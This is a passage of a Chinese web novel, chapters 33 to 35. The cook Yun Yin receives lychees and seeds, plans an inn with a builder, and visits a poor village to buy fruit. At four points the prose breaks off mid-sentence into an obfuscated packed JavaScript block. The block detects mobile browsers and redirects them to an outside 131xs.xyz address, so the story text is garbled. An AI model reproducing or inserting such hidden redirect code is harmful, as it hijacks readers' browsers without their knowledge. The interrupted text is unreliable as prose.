郑东：“那商队是用船运输的，自然不会颠簸。当时他们船出了故障，不得已才在那里靠岸，正好发现我们村子。” 云音：“新鲜的不好运输，可以做成果干或者果脯售卖的。” 郑东：“我也去了解过，做果脯需要很多糖，还不一定能卖出去，村里人都不愿意花钱，所以没办法，只能自家吃了。” 那食客摇头叹气道：“这也不愿意，那也不想冒险，怎么能挣到钱呢。只有先投入，才能有收获，你们在种水果前了解过情况吗？卖不出去也不想冒险，只能越发卖不出去。” “哪有你说的这么容易，不卖可能不亏，但继续投入，说不定亏得更多。” 云音倒是能理解乐桃村的顾虑，毕竟水果苗没付钱，但若是继续投入其他副产品，肯定要投入不少钱，大多村民都是不敢的。 他们一年也存不了多少钱，若是亏了那可能很多年都没钱，普通人哪里敢冒险，也只有有钱的人才敢这样做，即便亏了也伤不到根本。 普通人家里哪里亏得起，所以有钱人会越来越有钱，普通人连选择的机会可能都没有。 云音对于他们村里的水果还是挺感兴趣的，水果能做很多东西，罐头、果脯、甜点、果茶都可以做，她可以先计划，等把房子建起来，可以做一批试试。 她有手艺，又认识不少人，这些水果不管拿来做什么，都不会亏本。 云音对还在垂头丧气的郑东道：“你什么时候方便？我可以去看看你们种的水果吗？” 郑东眼前一亮：“云娘子是想买我们村的水果吗？” 云音：“我想先看看，而且我一个人能买多少水果，你们还是要想想其他办法的。你们村里有船吗？实在不行想办法借一艘船，把那些水果拿到县里卖，应该能赚一些钱。” 郑东亮亮的眼睛暗淡几分，他打起精神道：“能买一些也好，我每天都有空，云娘子什么时候方便，可以找我。” “我们村里只有竹筏，只能从对面划过来，但是长距离还是不行，村里太穷了，当年也是大家都想挣钱，那果商又说的很动听，村里人都被他说动，大家才种了许多水果。” 他深呼吸道：“算了，我再想想其他办法，也不知道县城有没有租借船只的。” “龙安县有船，但是他们一般都是往绵州去的，不知愿不愿意跑短距离。”刚刚还恨铁不成钢的食客，此时也帮他想办法，他道，“我记得临江村有船，平日送临江村和平江村的人去镇上。你可以问问那船夫愿不愿意接你们的单。” 云音也点头道：“临江村的船一个人三文钱，不知你们送货需要多少，你可以去问问。” 郑东道：“多谢你们，我明日去看看，云娘子想哪天去看水果？我过来接你。” 云音想了想道：“等你从临江村回来吧。” 送走他们，云音把洗干净挑好果蒂的青梅拿到阴凉处晾干。准备好的坛子用酒消毒，里面放上冰糖，再把晾干的青梅放入，一层冰糖一层青梅放好，最后倒入酒封坛放好。 青梅酒浸泡的时间比桃花酿久，至少要6个月才能喝，下次喝的时候都到冬天了，不过青梅酒特别好喝，她想多做些，云音把坛子搬到自己房间，继续去处理其他青梅。 一部分留出来做话梅，另一部分就拿来做青梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247784|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酱。做好的青梅酱可以拿来做菜，粤菜里经常有些菜会配青梅酱，烧鸡烧鸭配上这酱，味道绝佳。 青梅去核放盐使劲揉搓，挤出水汁后清洗干净，放锅里蒸熟。蒸熟的青梅已经散发出它的独特香味，蒸过后也能去除梅子的酸涩味道。 冰糖和青梅一起放入陶釜里，不放水直接熬煮，等冰糖熬化后，小火继续熬煮，边熬边搅拌，直到酸梅酱变得浓稠。 闻着酸酸甜甜的青梅酱，云音特别想现在就烤只鸡蘸酱吃。拿勺子尝了一口，酸酸甜甜的酱汁，让她食欲大开，舔了舔唇把这些酱装起来。 至于之前留的微微发黄的梅子，则用来做话梅，做法也很简单，只是要用不少糖和盐，好在做出的糖水也不会浪费，可以做其他饮品。 云音继续用盐揉搓梅子，梅子微微发软时，把盐和梅子一同装入坛子里，加入凉开水密封放到阴凉处腌制。等一个月以后，把腌好的梅子晒到半干，之后继续一层糖一层梅子放入坛子里，这次要腌制的2个月时间，然后拿出来晒一晒话梅就完成了。 岁月沉淀的美食最香醇，话梅是这样，青梅酒也是如此，就连友谊也是越久越醇香。 炎炎夏日，云音忙忙碌碌，厨房里处处弥散着青梅的清香，就在她沉迷与做青梅时，一个小惊喜突如其来出现在她眼前。 “傅郎君。”云音刚刚擦了擦汗水，一抬头看到傅望站在路边看向这边，她连忙朝他挥手道，“你回来啦。” 傅望拴好马，走到她面前，沉默片刻，轻声道：“嗯，我回来了。” “你想吃什么？我现在给你做。”云音看看水缸里面的鱼，又去厨房看看还有什么菜，一边找一边道，“你这次去了好久哦，走镖还顺利吗？” 傅望听着她雀跃的声音，心情也放松下来，他摇头道：“云娘子不用忙，我只是过来跟你说一声，我马上就要走，兄弟们还在前面等着。” 云音拿菜的手顿住，她难掩失望道：“这么快要走吗？好吧，正事要紧，等你忙完我们再聚。” 她从锅里装上一盒发糕，递给他道：“正好你赶路没什么胃口，这个发糕很适合，不过这个不是很甜，只有米的清甜。” 傅望看着柔软蓬松的糕点，轻轻一嗅能闻到鲜香扑鼻的清香，本来没什么食欲，一瞬间胃口仿佛大开。 他拿出一块咬了咬，软糯甜香，咀嚼时仿佛咬着云朵一般，软乎乎甜蜜蜜，明明云音说这糕点不太甜，但他却觉得比蜜还甜。 傅望：“真好吃，在外这么多天，我最想念云娘子做的饭，如今又吃到了，果然还是熟悉的味道，让人觉得温暖。” “你喜欢就好。”云音朝他歪了歪头，“时间也不早，早点出发吧，不然晚上要错过住宿。” 傅望递给她两个麻袋：“里面是我给你带的礼物，你抽时间看看，别放坏了，那我先走了。” 云音只来得及与他说一声祝福，傅望骑着马瞬间消失在她眼前，真是来也匆匆，去也匆匆，她低头看着两个大袋子，喃喃道：“这送的什么啊，这么两大袋，不会全都是种子吧。” 33. 第33间客栈 云音打开其中一个麻袋，一颗颗红润如玉的荔枝咕溜溜滚了出来，红艳艳的荔枝藏匿在翠绿之间，一滴露水从叶片上滴落，滴在她手背上把她惊醒。 “天啦，竟然这么多荔枝。”云音看着这一大袋荔枝不可思议道，“真不知道傅望是怎么弄到这么多的。” 大昭想要吃荔枝可不是容易的事情，就算云音所在地能够种植荔枝，也不是普通人家里能种的。 荔枝这种水果如今还是奢侈品，只有权贵富豪才能享用。荔枝种植地倒是能买到荔枝，但价格也不是普通人能吃得起的，云音来了大昭这么久，最让她怀念现代的便是四季不缺的各种水果。 以前随随便便能吃的各种水果，像荔枝、樱桃这些很多是贡品，专供皇室和权贵，她想吃只能看看山里有没有野果，能自己种植的都是常见品种，就这还要去县城买，这也是为何她如此看重郑东村里的水果。 距离她如此近，过个江走一段距离就到，若是他们村里的水果，真有他说的那么好，她日后也不缺水果吃了。 云音拿了个背篓，小心拿出荔枝装好，带枝叶的还能保存一两天，其他散落的要尽快吃掉。 她剥开一颗如红宝石般的荔枝，白嫩莹润的果肉仿佛能透出光来，撕开薄膜汁水瞬间滴落，一股清幽的香气弥散开来。 云音立刻把这颗让人垂涎欲滴的荔枝吃下，汁水在嘴里爆开，荔枝肉紧致软糯，小小一颗蕴藏巨大力量，甜甜的汁水顺着喉咙一直甜到心里。 吃了一颗还想再吃，云音一连吃了好几颗，才停止不再继续。要知道以前夏天，她也会买好多荔枝，能让人吃到腻，还要担心吃多上火。哪像现在，压根不用担心上火，根本吃不到，她本来已经不期望能吃到荔枝，没想到傅望竟然给她这么大一份惊喜。 装好所有荔枝，云音眼中盛满星光，她对张林道：“过来尝尝稀罕的东西。” 张林走过来接过荔枝，惊奇道：“娘子，这是什么？” “荔枝。”云音教他如何吃，给他介绍道，“这是岭南一带的水果，味道清甜，你尝尝。” 张林学着云音的模样，把荔枝放到嘴里，一咬下，他的眼睛瞬间瞪大：“这什么荔枝的，也太好吃了吧。” 云音弯弯眼睛道：“要不然这水果能成为贡品呢。” 张林震惊出声：“天啦，我竟然吃到了皇帝老爷吃的水果。”他吐出荔枝籽，又拿了一颗，“我要再品尝一下，我刚刚都没仔细吃。” 他这次小心翼翼吃下，闭着眼睛仔细感受，时不时笑一笑，时不时惊叹，好似吃了仙丹一样。 云音不忍直视，一巴掌拍过去，把他拍醒道：“好了，有一大袋子呢，够你吃的，而且这东西也不能多吃，吃多上火。” 张林从陶醉中清醒，看着手中两颗荔枝籽道：“云娘子，你说这荔枝这么珍贵，我们能自己种吗？” 种子当然能种出来，但用种子繁殖需要时间，可能一棵树长起来十年时间就过去了。 云音想想道：“先把种子留下了，我之后看看。” 龙安县这里还是稍微偏北点，冬天荔枝树可能会被冻住，若是想种荔枝，还得解决冬日寒冷这个问题，这不是她想种便能种的，但她还是把种子留下了，若是真能种活，那她就不缺荔枝吃。 她装完这一袋荔枝，又去看另一个袋子里的东西，这个袋子比之前的小很多，她猜测可能是种子。 她猜的果然没错，就是种子，傅望很细心在里面写了名字，她一看便能知道是什么种子，其中一小袋是西瓜种子，另外一个大袋子里面装了许多草棉种子。 西瓜和棉花啊，云音眼睛放光，喜色止不住地溢出来，竟然有棉花，她不知该如何感谢傅望。 西瓜她还没那么惊喜，毕竟这里也有甜瓜这类的瓜，倒是看到棉花种子让她太高兴了。 听说龙安县这里的冬天寒冷，她还想冬日要怎么度过，蔬菜这些还能晒成菜干储存，可气温却不是她能改变的。她都在想要不要建造火炕，可这东西她只听说没见过，更别说会了。 她也没在龙安县见到有人建造火炕，冬日他们都是烧炭取暖，普通人家用不起碳，只能多穿衣服来抵御寒冷，烧火取暖还容易中毒死亡。 听张林提起，他们村子有人冻死过，正是因此云音想在冬天前把房子建好，实在不行她也要考虑找人造火炕的。 傅望给她带了棉花种子，正好五月种棉花不算太晚，她要赶紧行动起来。 云音把荔枝分装好，叫来张林道：“这些荔枝你帮我给罗蔓送过去。” 至于宋时和宋萱那里，她自己跑一趟，顺便给周昌送一点，也不知傅望有没有在县城停留，官道到县城还要一炷香的时间，若是他不想耽误时间，或许没有进城也说不准。 装好荔枝，云音把饭摊收了，打算走近路去县城，只需要半个时辰就能到，只是那条路太窄，不适合走马车，否则赶车一炷香就能到。 速度快点，还能赶回来做晚食生意，等饭馆建好，她可以雇佣人帮忙，她和张林就不用像现在一样，离了他们饭馆只能歇业。 云音留了两背篓荔枝，挑选出品相稍微好一点的给罗蔓他们。 此时宋时正在县学读书，并不在家里，不过找宋萱也是一样的，她拿着门贴进了主簿府邸。宋萱正在跟管家娘子说话，看到她进来，挥退管事娘子上前道：“自从端午之后，云娘子已经许久不来县城，我都好久没看到你了。” 云音把背篓放下：“我这两天才见过你兄长，你怎么没跟他一起出门？” 宋萱招呼她坐下，“哎，我阿娘不让我随意出门，说是要趁着这段时间学习如何管家，打理嫁妆这些事，实在是没空出门玩。” “想到还要学习两年，真的不想出嫁了。” 云音看她实在可怜，递给她一颗荔枝道：“吃点甜的，心情会好。” 宋萱惊讶道：“荔枝？这也太贵重了。” 云音见她这般吃惊，有些奇怪，难到连主簿家都吃不上荔枝吗？那傅望又是如何买到这么多荔枝的。 宋萱吃了一颗荔枝，赞叹道：“怪不得那么多人称赞，确实极其美味。” “云娘子的荔枝从哪里买的？也不知贵不贵。” 云音：“我好友从外地回来，送我的，我也不知道贵不贵。” 宋萱：“怪不得呢，原来是外地带回来的，那确实容易买到些，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247785|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像我们龙安县，很难看到，倒是绵州有不少荔枝，我小时候还吃过。” 从宋萱那里了解，原来此时除了岭南，嘉州也有种植荔枝，只是很多需要上贡，民间留存的不多。 想到傅望从长安过来，竟然还能买到南方的荔枝，她有些担心，也不知花了什么代价才买到的，她不希望因为给自己带这些东西，让傅望过于耗费精力。 离开主簿家，云音去了周昌家，此时周昌还在县衙办公，是他妻子接待的，云音只略微坐了坐，送完东西便离开了。 回到家时，张林也已经到家，他道：“娘子，罗娘子说钱工匠近期有时间，让你明日有时间去镇上一趟。” 云音点点头，明日再跑一趟镇上，她终于能建房子了，不知道她存的钱够不够，不过可以先问问，她的钱或许建不了三间，但建一间房子还是够的。 做完晚食关了饭摊，拿剩下的饭菜喂黑豆，看它吃的欢快，摸摸它头道：“慢慢吃，不着急。” 自从有了黑豆后，他们偶然离开一会儿也不用担心，它能守家，也不用担心有人来偷牛，张林也可以睡个好觉。 虽然花了些钱，但是条好狗，面对云音时表现的也很亲近，可能是因为它主人教导过吧，想到当日带着狗走时，它看着主人流泪的画面，她低声道：“黑豆，以后你就是我的家人。” 黑豆听到它的名字，抬头看了眼前面蹲着的人类，见她没什么事情，继续低头干饭，这饭做的实在太好吃，它从没吃到过，每天最开心的时刻便是这个人类投喂时间。 喂完饭遛完狗，云音回家在床上坐下，拿出钱又数了一遍，一边吃着荔枝，一边在纸上写写画画，计划怎么建房子。 次日依旧是张林负责卖面看家，她坐着船去了镇上，此时罗蔓家的饭馆也忙碌起来，一大早在店里杀羊。 罗蔓见云音过来，招呼她道：“过来吃一碗羊汤吧。” 热气腾腾的奶白色汤汁端上，一层云雾在她眼前弥散，汤里的羊杂满满当当，上面撒着翠绿的葱花香菜，衬托的羊汤更加纯白。 “妹子你是吃胡荽的吧，若是不吃旁边有只加了葱花的。” 云音闻了闻香菜特有的香味，应道：“我吃胡荽，阿蔓姐你也坐下吃吧。” 一口羊汤下肚，汤汁醇香浓郁，味道极其鲜美，一点腥膻都闻不到，只有汤的鲜美。 云音：“阿蔓姐，你这羊是在哪里买的？一点腥膻味都没有。” 罗蔓坐在她身旁，也喝了一口，笑道：“我们自己养的。” “我们从西域买的小羊，自己在山里养殖的，养出来的羊味道极好，县里的人很喜欢我们家的羊。” 云音想到铁木尔，挑眉道：“难道是找铁木尔买的？” “妹子怎么知道的。”罗蔓好似想起什么，问她，“你那头揣崽的牛是找他买的？” 云音颔首：“是啊，正好遇到他，我看上那头牛，所以买下来了。” 罗蔓：“他人还不错，卖的牛羊质量都很好，之前找他买过一次羊，品种比我们之前买的还好，等下次买羊，还是找他买。” 吃完饭，罗蔓带着云音去钱四家，此时钱四已经在家里等着了。 34. 第34间客栈 钱四个头矮小，比云音还矮上几分，但衣着讲究，穿着圆领长袍，即便布料仍是麻布的，可依旧收拾的整整齐齐，没有一丝褶皱。 “就是你想要建房子？”钱四邀请二人坐下，打量云音片刻道，“我听罗娘子提过，你想建饭馆是吗？” 云音点头道：“是这样的，我想建三间房，中间做大堂，两边一个是厨房，另一个则是库房。” 钱四了解完她的需求，皱了皱眉道：“你只打算建三间房话，我建议你只建一间大房间，剩下两间建厢房。” 钱四给她解释道：“因为你打算开饭馆，所以没必要旁边再建两间房，厨房和库房建两个耳房代替，另外马厩和茅房也花不了多少钱，这些都能用茅草屋建造。” “省下来的钱正好用来建厢房，若是有客人想要借宿，你也有地方安置他们。而且你还要挖水井，这个也是不小的开支，但你做饭馆有个水井是很方便的。” “另外还可以再挖一个地窖和冰窖，方便夏天存储食物，以及冬日存冰。” 罗蔓在一旁点头道：“妹子，钱工给你的建议确实很周到，我们饭馆也有留宿的地方。虽然我们不卖酒，但有些客人会自己带酒，有时候也是容易喝醉，只能让他们留在饭馆休息。” “而且水井也必须有一个，你那里虽然用山泉水，但每日取水也是一件麻烦事情，有了水井会方便很多。冰窖也需要，这里的冬天很冷，适合存冰，我每年冬天都要存不少，来年夏天用。” 云音想到他们的建议，又卖吃食又接待住宿的人，这不是客栈吗？虽然她之前没有想过开客栈，但此时二人都如此建议，她想想或许开客栈也不错。 她那一处地方距离县城和前面一个驿站距离都挺远的，以前路过的人错过住宿，也是在官道旁的茅草屋暂住，如今那茅草屋还在，她开饭摊后那屋子仍旧在。 听张林提起过，偶尔也有人在那里歇脚，好在他都能应付，没有发生什么事情。 想到这里，她越发觉得开客栈不错，她颔首道：“那依钱工所言，不知建这样的房子需要多少钱。” 钱四拿出算盘快速算了算道：“三间房和两间耳房，耳房用茅草屋顶能省不少钱，加上一口水井和两个地窖，算下来一共需要100贯。这是我们所有事务都承包的价格，若是你自己联系材料商，价格又不一样，看你如何选。” 云音仔细算了算，按照他这样建造，至少能有5间房，而且正房的空间并不小，客人堂食空间很足，就算隔出小包间都可以，厢房她还能隔成5个小房间，客人留宿也方便。 她觉得钱四的方案很好，可这样一来她的钱就不够用了，她之前打听过，建三间房五十贯差不多，她只准备这么多钱。 她面露难色，对钱工道：“您让我考虑一下。” 说完她拉着罗蔓往一旁走去，她支支吾吾半晌也不知怎么开口。 罗蔓看出来了，她低声道：“阿妹，是钱财不凑手吗？还差多少？” 云音苦涩道：“我只有五十贯，若是按照他的方案来，钱差的有些多。” 罗蔓道：“钱工费用确实很高，但我保证你物超所值，你钱不凑手我可以先借你，以后用卖钵仔糕和凉皮的钱抵扣，很快能还完。” 云音知道她是不想自己有压力，但五十贯岂是卖钵仔糕和凉皮能卖到的，她当初攒到钱还是托了蘑菇酱和中式点心的福，如今也只有这些点心卖的钱比较多，其他菜只能赚个几文十几文。 云音认真想了许久，还是觉得扩大店面能挣得更多，她点头道：“那多谢阿蔓姐，我会尽快还你。” 罗蔓摆手道：“无妨，你慢慢还。” 解决完钱的问题，云音回钱四屋里，对他道：“那按照你说的来吧。” 钱四从桌上拿了契书道：“既然如此，那麻烦你签一下契书，一会儿我们去县衙报备，你交一部分定金，我这边联系好人，就能开工。” 云音仔细检查契书上的内容，里面详细写了开工和完工时间，以及违约之后的赔付，她确认没问题后，送走罗蔓与钱四去了县衙。 从县衙出来，云音手里又多了一处资产，她收好凭证，与钱四告辞回家。 这次建五间房至少需要三个月时间，做工期间的伙食，不用云音负责，钱四会处理。他联系的材料商人，云音也打听过，确实是很良心的商家，没听到有什么纠纷，这100贯虽然贵，但花的很值得，她省了不少事情。 云音回家时，郑东也到了，她收拾好东西对他道：“让你久等了，我现在去你们村子。” 郑东：“没有没有，我也是刚到。” “你去临江村问了，那船家如何说？”云音拿着背篓跟上郑东，“我今日在县里看了看，水果卖的挺贵的，买的人还挺多，你们要趁着现在还没多少人卖，早点把水果送到县城。” 郑东连连点头道：“多谢云娘子为我们着想，运一次货200文，我会跟村里人商量商量，大家一起平分，一家只用付几文钱，这样也不会太贵。” 云音见他有了主意，也不再多言，跳上竹筏，往对面岸边划去。 竹筏飘荡，站在江水之间，瞬间觉得自己渺小许多，听着耳边传来的水声，她情不自禁闭上眼睛，享受着清风拂面，即便太阳高高悬挂，她一点也不觉得闷热，心情都畅快几分。 郑东速度很快，她还没好好感受，竹筏已然到岸，她吐出一口浊气，跳上岸跟着他穿过树林来到那条小路的路口。 云音仔细看了看这条路，两边杂草丛生，灌木密布，只有很窄的一条道能穿行，因为走的人不多，连道路上也长满杂草，若不是有踩踏的痕迹，恐怕还不能发现这是一条路。 “你们平日不走这里吗？” 郑东“嗯”了一声道：“确实不走这里，我们村太偏僻，离平溪村很远，更别说去县城里了，很多村民一辈子都没去过县城。” 云音用棍子敲打前面的草丛问：“那针线油盐这些你们是去镇上买吗？” 郑东摇头：“有货郎会来我们村，不过一个月可能就来一次，大家需要的东西也不多。” 云音与郑东走了一刻钟到了村尾，村尾的山上种着不少果树，可惜由于没人打理，结的果子并不是很多。 郑东也看到山上的果树，挠头歉意道：“这山上的果子结的不好，不过我们每户人家里也种的有，结出来的果实很甜，云娘子跟我去看看吧。” 郑东并没有夸大其谈，他家种的杏子确实很甜，熟透的杏子金黄璀璨，咬一口露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260773|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面金玉的果肉，尝一口甜香无比。 她颔首道：“这杏子味道很甜，你种的不错，其他水果我也看看。” 郑东喊了郑溪，让她去村子里其他家拿些水果过来，吩咐完他对云音道：“如今葡萄还没成熟，要再过一个多月才能吃。” 他带着云音去后院看了那株葡萄，递给她一颗道：“现在葡萄还太酸了，没法吃。” 云音尝了尝确实很酸，不仅酸还很涩，她道：“等成熟后，我再来买。” 她打量眼前这株葡萄树问：“这葡萄你们村种的多吗？” 郑东回忆村里情况，点头道：“基本都种了吧。” 云音：“那看来那客商并不是故意爽约的。” 之前云音以为他们的葡萄是从山里移栽过来的，如今看了品质，确实和山里那些葡萄不同，虽然还是有些涩口，但能看得出来等成熟后，会比山里的野葡萄甜。 郑东不解，看着她问：“云娘子为何如此说？我们花了好多年种的果子，废了很多时间，每年浇肥都要用不少，才把果树种活，让它结果。可那客商却一次都没来过，这些果子都是很难运输的品种，除了桃子还能卖几文钱，其他水果很难卖。” 云音指了指那株葡萄道：“你知道一斤葡萄能卖多少钱吗？” 郑东摇摇头：“我不知道，我以前只吃过山里的野葡萄，那种特别酸，不好吃，这葡萄变紫后味道挺甜的，我们村里的小孩子都特别喜欢。” 云音道：“据我所知，一斤葡萄能卖200-300文，若当地没有种植葡萄，那价格会更贵。” 郑东瞪大双眼道：“这么贵吗？我们卖的桃子也不过二三文，没想到葡萄竟然这么贵。” 云音点头：“所以我才说那客商应当不是故意的，或许出了什么意外吧。能把如此贵重的果苗送给你们，他也是投入不少钱的。” 郑东看着挂满葡萄的树枝，喃喃道：“难道真的和你说的一样，他们不是故意的？” 他长叹一口气道：“不管他们是不是真的有事耽搁，就算这果树很值钱，我们也挣不到这份钱，只能村子里自己吃。” 云音：“你们可以先去县城看看，若是能找到固定客户，更容易卖。” 郑东不再想这些没影的事，带着她回到前院，郑溪已经把其他水果拿过来，他递给云音一篮子洗干净的桑葚：“云娘子尝尝这个桑葚，味道也不错。” 云音看着篮子里黑黑的桑葚，咬一口甜味直达心底深处，她夸道：“怪不得那客商想让你们种水果，你们这里种出来的水果确实很好吃。” 郑东听到夸赞，脸红了红，他笑道：“可能是我们这里的水好吧，山上有山泉水，特别甜，用这水种的果树也很甜。” 云音想到她之前在山里发现的山泉水，确实很清甜，她道：“这些水果什么价格，我每种都要一筐。” 郑东听到她要这么多，兴奋叫了一声，往外跑去，回头对云音道：“云娘子稍等，我去叫村长，一会儿就回来。” 云音见他跑的如此快，不由摇摇头打量这方天地，一旁的郑溪上前道：“娘子，你买这么水果要做什么？若只是为了帮我哥，可千万不要过于善心。我哥那人也是，都不跟你讲清楚，就把你带过来。” 35. 第35间客栈 云音听到郑溪的话，很是诧异，“难道你哥帮你们村卖水果不好？” 郑溪苦笑道：“能卖出去自然好，可若是卖不出去，他们也会埋怨我哥。” “之前我哥带林子哥回村，差点打起来，虽然有人每年会囤积菌子，这些人卖给林子哥赚了钱，但还有很多家没有这个习惯，或是囤积的只够自己吃，毕竟菌子这种东西也不是那么好找。那些没卖出蘑菇的人，觉得是我哥不带他们赚钱，经常找他麻烦。村长说了好几回他们也不听，时不时找我哥麻烦。” 郑溪耸耸肩道：“我哥说让大家出钱租船，可谁愿意拿出那么多钱来租船，他们没看到确切的钱时，是不会愿意让我哥做主的。” 她转身看着云音，“云娘子你要小心，不是所有人都跟我哥一样好说话，他们可能为了能多卖点水果争抢起来。” 云音本来以为她这话有点夸张，没想到还真被她说中。郑东带着村长过来时，身后跟了不少人，七嘴八舌的说着让村长推荐他们家的水果，更有人直接抛下村长，往云音这边跑来。 那人气都没喘匀，噼里啪啦对着云音一阵输出，她头都快要炸了，还是郑东快步过来把那人拉走了。 云音吐出一口道：“你们村有点可怕。” 郑东歉意笑笑：“实在对不住，他们也是太心急。” 云音摆摆手表示没事，村长在这时走过来，对她躬身道：“还没感谢云娘子呢，你之前收我们村里的蘑菇，让我们存了些钱，真的不知该如何感谢你。” “这次又来买我们的村的水果，真的是个好人啊。” 村长眼眶红润，眼看着泪水要落下来，云音赶紧打断道：“郑村长，我们还是商量水果的事情吧，你们商量好价格没？” 村长招呼她道：“我们进屋说，我挑选几家水果品质最好的卖你，价钱比市价便宜1文钱，您看如何？” 这些成熟的水果里只有桑葚是最贵的，一斤要5文，其他水果都只要二三文钱一斤，云音觉得这价格不错，正要点头时，从外面冲进来一妇人，她带着女儿跪在村长面前道： “村长，您不能看着我们去死啊，我们要活不下去了，您行行好，选我家的桃子吧。” 云音看着身形瘦削，脸上也没多少肉的娘子匍匐在地，嚎啕大哭，引得身旁跟着她的矮小女孩儿也啼哭不止。 她喃喃道：“活不下去，真的活不下去了。” 那人趴在地上哭个不停，其他争抢的人倒是被这一哭，一下子安静下来。 其中一个妇人叹息道：“桂兰也是命不好，被她婆家休了，如今还要养个女儿，又没有田，也没有男人支撑，好不容易有人来收蘑菇，她家也没有，也赚不到这份钱。” 另一个妇人撇了撇嘴道：“我们每天可是天不亮起床采蘑菇，等我们回来了，她才去山里，怎么可能采到。” “话不是这么说的，我们可以不用下地，除草也有家里人能做，桂兰能行吗？她们娘俩本来就只有我们帮忙开荒的一亩地，若是再不勤快点，让她们娘俩喝西北风吗？” 那妇人哼了一声道：“所以之前有人给她介绍人，她还不同意，她自己都要活不下去了，还嫌弃别人。” “再说谁家没有种点水果，她们家是种了，可是多少年没人打理了，那桃子还能吃吗？谁买水果不是买好的，我们村里这么多人等着卖呢。” 那妇人家里也有水果，她听了这话倒是也不再多说。 云音听到那些人议论，知道这个叫桂兰的生活苦难，想要卖他们家桃子，可村长却没答应。她用眼神看向郑村长，想要问问具体情况，他难掩尴尬神色道：“让您看笑话了，我这就让人把她带出去。” 村长媳妇一把上前，拉住那女子道：“郑桂兰，别嚎了，我们已经尽量帮你了，可是大家都不富裕，实在没有余力帮你。” 郑桂兰抹了抹眼泪道：“金花嫂子，我也知道大家的困境，可这次不是有人来卖水果吗？我家里有颗桃树的。” 陈金花眉头拧紧，她拍了郑桂兰一巴掌道：“要我说多少次，这次卖的水果要品质好的，你说你那桃树多少年没打理了？桃子能比得上邻居家的吗？” “别无理取闹，等我们卖了水果，大家还能再帮衬你一二，若是你闹下去，坏了事，别怪村里人不留情面。” 郑桂兰眼泪又止不住落下，“可你们又能帮衬我多久呢，我和女儿要怎么办，卖水果好歹也是一个长久生计，我又不会其他手艺。” 陈金花对于郑桂兰家的情况也很清楚，她长叹那一口气道：“实在不行，你把阿荷送回大竹村，到底是方家的闺女，这样你也能再嫁。” 郑桂兰连连摇头：“我不能把阿荷送回去，回了方家还不知是个什么下场，他们本就因阿荷是个女孩儿，一点也不在意，如今那人再婚的人肚子里揣了一个，肯定更不待见阿荷。” “而且之前介绍的人也不靠谱，找的是什么人啊，打着让我们阿荷去做童养媳，你说这我能答应吗？” 陈金花也很无奈：“可是这卖水果的事情真不是我们能决定的，而且你家里的桃子味道确实一般，谁家里没种点水果，大家都想挣点钱，这真不是我们不帮你。” “就这她们都快要打起来了，若是卖你的桃子，她们能把天捅破，我和你郑叔别想有安生日子了。” 郑桂兰听到陈金花的话，一屁股坐在地上，眼神里全是死寂，仿佛没有任何希望。 云音听明白具体情况后，看着旁边瘦弱的小女孩，顿时生出一股怜悯之情，她问：“不知桂兰嫂子家的桃子具体是什么样，我能去看看吗？” 郑村长也想帮一帮郑桂兰，他起身带路：“就在前面，我带你去看看，他们家的桃子很多年没人管，味道是比不上别人家的，所以我才没要他们家。” 郑桂兰家靠近后山，房子很破旧，已经有了裂痕，院子收拾的很干净，没有一点鸡鸭的粪便，那棵桃树长在院子角落里，已经结满密密麻麻的桃子。 云音从树上摘一个洗了洗，一口咬下，半晌没有说话。 郑桂兰期待看着云音，希望她能买下她家的桃子。 云音沉默吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260774|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完一个桃子，这桃子要说难吃，那也不至于，比她之前摘的野桃子还是要好一点的，但你要说它好吃，那也没有。这桃子既不甜也不酸，吃起来也没有桃子味，也不能让她违心夸这桃子。 她的钱也不是大风刮来的，是她辛辛苦苦一点点攒的，她如今还欠着罗娘子的钱呢，自然不能随意乱花钱，她虽然可怜这对母女，但也不能说出买下这些桃子的话来。 她买这些水果也是为了做些吃食，卖给县里那些有钱的娘子，好让她尽快把欠的钱还上，欠钱的滋味可不好受。 